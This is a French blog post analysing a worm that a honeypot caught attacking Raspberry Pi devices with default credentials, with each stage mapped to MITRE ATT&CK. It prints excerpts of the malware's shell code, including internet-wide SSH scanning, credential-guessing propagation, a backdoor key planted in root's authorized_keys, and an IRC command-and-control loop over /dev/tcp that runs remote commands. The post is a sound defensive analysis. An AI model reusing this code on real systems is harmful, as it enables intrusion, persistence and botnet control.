La MITRE ATT&CK ...

Table des matières

poursuite du dépouillement des artefacts glanés par le honeypot cette fois une attaque ciblant les geeks …

L’environnement

Un pot de miel expose deux ports d’administration sur Internet (SSH & Telnet) donnant accès à un système simulant un environnement Linux.

Toutes les interactions avec le système sont indexées dans l’outil de traitement de données (Splunk, dans mon cas)

Ce qui représente une belle masse d’informations !

alt

La compromission du système

 

Étape 1 - ouvrir la porte à l’attaquant mais pas trop vite …

L’attaquant a la possibilité d’essayer de s’authentifier, ses tentatives sont enregistrées.

Cette collecte est croustillante d’informations … mais ce sera pour une prochaine publication

alt

 

Étape 2 - Se placer au-dessus de son épaule

alt

Ce qui nous intéresse ici c’est d’observer son comportement, les commandes saisies, les fichiers téléchargés …

alt

Rentrons dans la salle d’autopsie

Dans cette étude, nous allons voir une menace qui cible spécifiquement les Raspberry.

alt

Le ptit truc qu’on branche, qu’on oublie, et qui reste connecté sur Internet avec les identifiants par défaut (pi/raspberry) !

L’intrusion dans le système

J’exagère quelques fois le mot de passe est changé mais pour un faible, voici un échantillon du dictionnaire des attaquants qui tente d’exploiter cette faiblesse.

identifiant mot de passe
pi abc123
pi pass
pi 123456
pi root
pi qwerty
pi 123
pi raspberrypi
pi 1q2w3e
pi bananapi
pi toor
pi test123
pi q1w2e3r4
pi password123

Un exemple concret :

alt
alt
alt

(1) L’attaquant se connecte via le couple d’identifiant pi/raspberry

(2) depuis un boitier Raspberry (raspbian est le système d’exploitation dédié)

(3) sur une connexion Internet de particulier

 

Grossier, cas isolé … pas vraiment !

 

👉 En 30 jours j’ai reçu 73 attaques du même type

👉 Exclusivement des connexions de particuliers

 

alt

Sur l’exemple (2), il s’agit bien d’un fournisseur pour particuliers.

alt

Exploitation du système compromis

Une fois introduit un programme malveillant est téléchargé et exécuté …

alt

 

👉 Sur les 73 attaquants c’est systématiquement le même programme …

 

Analyse du code malveillant

 

Abordons cette étude à la lumière de la MITRE ATT&CK® 🧐 …

alt

Ok c’est nul 😜

 

alt

Voyons la MITRE ATT&CK™ comme une bibliothèque de données sur les attaquants, les campagnes, leurs tactiques, techniques et procédures.

alt

Une modélisation centrée sur les phases post-intrusion qui s’intéresse au comportement dynamique de l’attaquant et le cartographie.

C’est un excellent outil d’analyse, de compréhension, et de défense permettant :

👉 De visualiser et évaluer sa couverture défensive…

👉 D’émuler le comportement d’un attaquant et éprouver les défenses…

👉 D’améliorer ses capacités de détection…

👉 De communiquer…

 

Revenons maintenant à notre code malveillant disséqué à la lumière de la MITRE ATT&CK

 

Tactique reconnaissance

La reconnaissance consiste à collecter des informations pour préparer une future attaque.

Le programme cherche à trouver des machines ayant un port d’administration ssh ouvert en scannant tout Internet … rien que ça !

[...]
while [ true ]; do
        FILE=`mktemp`
        zmap -p 22 -o $FILE -n 100000
 [...]
done
[...]

👉 Technique Active Scanning

 

Tactique Credential Access

Credential Access : l’attaquant tente de se connecter avec un compte valide (en l’occurence les identifiants par défaut).

[...]
while [ true ]; do
[...]
        for IP in `cat $FILE`
        do
                sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no [...]
        done
        rm -rf $FILE
        sleep 10
done
[...]

 

👉 Technique Brute Force: Password Guessing
 

Tactique Execution

Execution : afin “d’adapter” son environnement, le programme tue les programmes qui pourraient le déranger et installe les paquets nécessaires à l’attaque d’autres machines.

[...]
killall minerd
killall node
killall nodejs
killall perl

[...]

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

[...]

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

 

👉 Techniques Command and Scripting Interpreter: Unix Shell
et Software Deployment Tools

 

Tactique Persistence

Persistence : se doter de moyens de revenir sur la machine et aussi fermer la porte à d’autres attaquants, le mot de passe est changé.

A noter le respect de bonne pratique : l’attaquant s’est donné la peine de passer le hash du mot de passe plutôt qu’en clair.

[...]
usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys
[...]

👉 Techniques Account Manipulation: SSH Authorized Keys

 

Tactique Command And Control

Transformation de la machine en zombie : mise en place d’un canal de communication permettant de recevoir des ordres.

[...]
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

        arr[0]="ix1.undernet.org"
[...]
        arr[5]="Chicago.IL.US.Undernet.org"
        rand=$[$RANDOM % 6]
        svr=${arr[$rand]}

        eval 'exec 3<>/dev/tcp/$svr/6667;'
[...]

        # Main loop
        while [ true ]; do
[...]
                if  [[ "$msg_in" =~ "PING" ]] ; then
                        printf "PONG %s\n" "${msg_in:5}";
[...]
                elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
[...]
                        if [[ "$sign" == "$hash" ]] ; then
                                CMD=`echo $privmsg_data | base64 -d -i`
                                RES=`bash -c "$CMD" | base64 -w 0`
[...]
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
[...]

👉 Techniques Utilisation du protocole IRC , Dynamic Resolution, Fallback Channels, Command and Scripting Interpreter: Unix Shell

 

Tactique Impact

Impact : l’attaquant détourne le fonctionnement du système pour son besoin propre.

Après une recherche rapide, il s’avère que la principale exploitation est le minage du bitcoin.

👉 Technique Resource Hijacking

 

Un petit visuel pour tout résumer

alt
alt

 

Que retenir ?

alt text

👉 Aucun mot de passe par défaut tu ne toléreras

👉 Dans la construction de tes scenarii de défense, la MITRE ATT&CK t’inspirera

👉 Ta surface d’exposition tu minimiseras

👉 Cet article à ton SI d’entreprise tu généraliseras

👉 Tes réactions tu partageras

Related